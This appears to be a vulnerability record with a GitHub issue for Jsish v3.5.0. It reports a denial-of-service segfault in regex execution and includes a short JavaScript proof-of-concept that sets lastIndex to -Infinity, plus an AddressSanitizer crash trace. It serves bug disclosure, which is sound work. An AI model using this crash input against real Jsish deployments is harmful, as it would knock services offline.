Jsish v3.5.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x18e506. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var lastIndexReads;
var result;
var r = /a/g;

function JSEtest(_value) {
  r.lastIndex = -Infinity;
  lastIndexReads = 0;
}

JSEtest(9);
result = r.exec('abc');
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
==119220==ERROR: AddressSanitizer: SEGV on unknown address 0x603f80019c20 (pc 0x7f2d155e4507 bp 0x000000000000 sp 0x7ffd01763808 T0)
==119220==The signal is caused by a READ memory access.
    #0 0x7f2d155e4506  (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
    #1 0x7f2d15557743 in regexec (/lib/x86_64-linux-gnu/libc.so.6+0x101743)
    #2 0x562082528c68 in jsi_RegExpMatches src/jsiRegexp.c:235
    #3 0x56208252a51b in RegexpExecCmd src/jsiRegexp.c:323
    #4 0x562082585818 in jsi_FuncCallSub src/jsiProto.c:244
    #5 0x56208284f71a in jsiFunctionSubCall src/jsiEval.c:796
    #6 0x56208284f71a in jsiEvalFunction src/jsiEval.c:837
    #7 0x56208284f71a in jsiEvalCodeSub src/jsiEval.c:1264
    #8 0x56208286315e in jsi_evalcode src/jsiEval.c:2204
    #9 0x562082867274 in jsi_evalStrFile src/jsiEval.c:2665
    #10 0x56208255666a in Jsi_Main src/jsiInterp.c:936
    #11 0x562082d5b03a in jsi_main src/main.c:47
    #12 0x7f2d15477bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #13 0x5620824ea969 in _start (/usr/local/bin/jsish+0xe8969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
```
Credits: Found by OWL337 team.

SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var lastIndexReads;
var result;
var r = /a/g;

function JSEtest(_value) {
  r.lastIndex = -Infinity;
  lastIndexReads = 0;
}

JSEtest(9);
result = r.exec('abc');
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
==119220==ERROR: AddressSanitizer: SEGV on unknown address 0x603f80019c20 (pc 0x7f2d155e4507 bp 0x000000000000 sp 0x7ffd01763808 T0)
==119220==The signal is caused by a READ memory access.
    #0 0x7f2d155e4506  (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
    #1 0x7f2d15557743 in regexec (/lib/x86_64-linux-gnu/libc.so.6+0x101743)
    #2 0x562082528c68 in jsi_RegExpMatches src/jsiRegexp.c:235
    #3 0x56208252a51b in RegexpExecCmd src/jsiRegexp.c:323
    #4 0x562082585818 in jsi_FuncCallSub src/jsiProto.c:244
    #5 0x56208284f71a in jsiFunctionSubCall src/jsiEval.c:796
    #6 0x56208284f71a in jsiEvalFunction src/jsiEval.c:837
    #7 0x56208284f71a in jsiEvalCodeSub src/jsiEval.c:1264
    #8 0x56208286315e in jsi_evalcode src/jsiEval.c:2204
    #9 0x562082867274 in jsi_evalStrFile src/jsiEval.c:2665
    #10 0x56208255666a in Jsi_Main src/jsiInterp.c:936
    #11 0x562082d5b03a in jsi_main src/main.c:47
    #12 0x7f2d15477bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #13 0x5620824ea969 in _start (/usr/local/bin/jsish+0xe8969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)
```
Credits: Found by OWL337 team.

--- end body ---

comments :
--- start comments ---

--- end comments ---